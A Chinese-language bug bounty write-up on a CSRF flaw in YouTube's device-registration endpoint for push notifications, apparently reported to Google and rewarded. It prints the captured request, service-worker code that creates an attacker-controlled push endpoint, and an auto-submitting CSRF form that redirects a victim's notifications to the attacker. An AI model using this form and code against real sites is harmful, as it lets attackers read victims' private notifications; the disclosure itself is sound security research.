利用CSRF漏洞劫持YouTube用户通知
在本文中,我们将会为读者分析利用CSRF劫持YouTube用户通知的过程。故事发生在某天的半夜,当时,我正在YouTube上闲逛,无意中打开了自己的通知页面,具体请求如下所示:
POST /notifications_ajax?action_register_device=1 HTTP/1.1
Host: www.youtube.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.youtube.com/sw.js
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Origin: https://www.youtube.com
Content-Length: 1459
Connection: close
Cookie: duh, cookies!
-----------------------------41184676334
Content-Disposition: form-data; name="endpoint"
https://updates.push.services.mozilla.com/wpush/v1/gAAA...
-----------------------------41184676334
Content-Disposition: form-data; name="device_id"
dbe8453d99714c6160994fdf5bb3c59332df04278a...
-----------------------------41184676334
Content-Disposition: form-data; name="p256dh_key"
BBNVkVOt6tpY1KvJJqtLvqt...
-----------------------------41184676334
Content-Disposition: form-data; name="auth_key"
V5-_lh6nYT2zoY...
-----------------------------41184676334
Content-Disposition: form-data; name="permission"
granted
-----------------------------41184676334--
大家可能猜到我要说什么了!乍一看,所有这些参数,如auth_key、p256dh_key、endpoint、device_id,好像是用于防御CSRF的,但实际上,所有这些参数都是由Firefox为推送通知生成的。因此,这就意味着在这个端点上根本就没有提供CSRF保护措施。
想到这里,我后背一冷!难道我在YouTube上发现了一个CSRF漏洞?
深入研究后,我发现HTTP请求的referrer为“https:/www.youtube.com/sw.js”,即这些请求的都是由service worker发送的,因此,这个请求与YouTube上所有其他具有CSRF保护措施的请求都是不同的。
我确信,这的确是一个漏洞,但我也听说过,提交漏洞时,需要同时提供相应的POC或GTFO:P。因此,我还必须创建一个很好的PoC,以便于谷歌的VRP团队复现该漏洞。为此,我开始深入研究这些参数的生成方式。
在这个过程中,https://developer.mozilla.org/en-US/docs/Web/API/Push_API为我提供了莫大的帮助。
经过一番努力之后,终于写成了3段代码,并在本地服务器上运行,以生成相应的凭证:
index.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Push Demo</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" media="screen" href="index.css" />
<script ></script>
</head>
<body>
<h1>Hello World</h1>
<button id="permission-btn" onclick="main()">Ask Permission</button>
</body>
</html>
index.js
const check = () => {
if (!('serviceWorker' in navigator)) {
throw new Error('No Service Worker support!')
}
if (!('PushManager' in window)) {
throw new Error('No Push API Support!')
}
}
const registerServiceWorker = async () => {
const swRegistration = await navigator.serviceWorker.register('sw.js')
return swRegistration
}
const requestNotificationPermission = async () => {
const permission = await window.Notification.requestPermission()
if (permission !== 'granted') {
throw new Error('Permission not granted for Notification')
}
}
const main = async () => {
check()
const swRegistration = await registerServiceWorker()
const permission = await requestNotificationPermission()
}
sw.js
self.addEventListener('activate', async () => { console.log("Hello");
self.registration.pushManager.subscribe()
.then(function(subscription) {
console.log(JSON.stringify(subscription));
})
.catch(function(e) {
console.log(e);
});
})
self.addEventListener("push", function(event) {
if (event.data) {
console.log("Push event!! ", event.data.text());
showLocalNotification("Yolo", event.data.text(), self.registration);
} else {
console.log("Push event but no data");
}
});
const showLocalNotification = (title, body, swRegistration) => {
const options = {
body
// here you can add more properties like icon, image, vibrate, etc.
};
swRegistration.showNotification(title, options);
};
这样,我们就能获得发动CSRF攻击所需的参数。之后,就可以利用这个漏洞在localhost上看到受害者的通知了!
实际上,我们就是在创建自己的端点,以便在localhost上接收通知,稍后,我们将在CSRF表单中使用这些通知。单击index.html上的按钮时,它会要求提供通知权限,注册service worker(sw.js),然后,使用Firefox的API为通知创建端点。
最后一步:CSRF表单。
<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf">
<input type="text" name="device_id" value="replace">
<input type="text" name="permission" value="granted">
<input type="text" name="endpoint" value="replace">
<input type="text" name="p256dh_key" value="replace=">
<input type="text" name="auth_key" value="replace">
<input type="submit">
<script type="text/javascript">document.csrf.submit();</script>
</form>
</html>
之后,我尝试从另一个帐户提交这个CSRF表单,竟然成功了!! 天啊!它确实奏效了。因此,受害者通知的PUSH webhook被设置成了攻击者的webhook。接下来,我们必须触发受害者那边的任何东西,比如对私人视频进行评论,该通知就会被触发:
于是,我报告了该漏洞,并且,半小时后该漏洞就被承认了,并对其进行了分类(我真是太高兴,因为我是个新手,之前还从而获得过bug赏金)
几天后,奖金就到手了:
感谢您阅读本文,我希望您能有所收获!